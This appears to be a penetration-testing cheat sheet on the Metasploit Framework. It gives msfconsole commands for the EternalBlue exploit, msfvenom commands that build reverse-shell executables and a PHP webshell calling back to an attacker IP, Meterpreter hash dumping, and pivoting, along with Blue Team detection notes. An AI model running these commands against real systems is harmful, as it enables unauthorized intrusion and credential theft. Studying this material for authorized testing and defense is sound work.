Metasploit
The Metasploit Framework is the best-known exploitation platform: an arsenal of exploits, payloads, and auxiliary modules with a common interface. It speeds up exploitation and post-exploitation, though in settings like the OSCP it’s worth knowing how to do it “by hand” too (see Windows privesc, Malware evasion).
What it is
Section titled “What it is”The Metasploit Framework (Rapid7, open source) is a modular Ruby framework for developing and launching exploits. It bundles thousands of modules behind a common console (msfconsole), a database to organize work, and msfvenom to generate payloads.
Key concepts:
- Exploit: code that abuses a vulnerability to run a payload.
- Payload: what runs after exploitation (shell, Meterpreter, a command).
- Auxiliary: modules that don’t exploit (scanners, fuzzers, enumeration).
- Post: post-exploitation modules (collection, pivoting, persistence).
- Meterpreter: advanced in-memory payload with many capabilities.
What it is for
Section titled “What it is for”- Launch known exploits in a standardized, reliable way.
- Generate payloads for many platforms with
msfvenom. - Manage sessions, pivot into internal networks, and do post-exploitation.
Installation
Section titled “Installation”sudo apt install metasploit-framework # Kali/Parrot ship itmsfconsole -q # start without the bannermsfdb init # initialize the database (PostgreSQL)Basic usage
Section titled “Basic usage”Standard flow inside msfconsole:
search type:exploit platform:windows smb # find a moduleuse exploit/windows/smb/ms17_010_eternalblue # select itshow options # view required parametersset RHOSTS 10.10.10.10 # targetset LHOST 10.10.14.5 # your IP (for the reverse connection)set PAYLOAD windows/x64/meterpreter/reverse_tcprun # or 'exploit'Session management:
sessions -l # list active sessionssessions -i 1 # interact with session 1background # send the session to the background (Ctrl+Z)Advanced usage
Section titled “Advanced usage”msfvenom generates standalone payloads:
# Windows, Meterpreter reverse TCP in an EXEmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=443 -f exe -o shell.exe# Linux ELFmsfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=443 -f elf -o shell.elf# PHP webshellmsfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f raw -o shell.php# list payloads and formatsmsfvenom --list payloadsmsfvenom --list formatsTo catch the connection from an msfvenom payload, use the generic handler:
use exploit/multi/handlerset PAYLOAD windows/x64/meterpreter/reverse_tcpset LHOST 10.10.14.5set LPORT 443runMeterpreter (inside a session):
sysinfo # system informationgetuid # current userhashdump # dump hashes (requires privileges)download /path/file # download from the targetupload local remote # upload to the targetshell # drop to a native OS shellPivoting and routes into internal networks:
run autoroute -s 10.10.20.0/24 # add a route through the current session# or via the post/multi/manage/autoroute moduleTricks / workflow
Section titled “Tricks / workflow”flowchart LR
A[msfconsole + msfdb] --> B[search / use]
B --> C[set RHOSTS/LHOST/PAYLOAD]
C --> D[run exploit]
D --> E{Session}
E -->|Meterpreter| F[post-exploitation]
F --> G[autoroute / pivoting]
A -.->|db_nmap| H[(workspace DB)]
- Use
workspace -a clientto isolate each target in the database. db_nmap <args>runs nmap and stores the results straight into the DB.setgsets global variables (LHOST) so you don’t repeat them per module.
Detection (Blue Team)
Section titled “Detection (Blue Team)”- The default Meterpreter payload and many exploits have known signatures: EDR and AV detect them easily if not obfuscated.
exploit/windows/smb/psexecand the like create services and leave traces in Windows event logs (Event ID 7045, service creation).- In-memory injection and anomalous child processes (e.g.
spoolsv.exespawningcmd.exe) are detectable with Sysmon (see Sysmon).
Checklist
Section titled “Checklist”- Database initialized and a workspace per target.
- Correct module selected and
show optionsreviewed. - RHOSTS/LHOST/PAYLOAD set and consistent.
- Handler listening before running an msfvenom payload.
- Activity within authorized scope and sessions under control.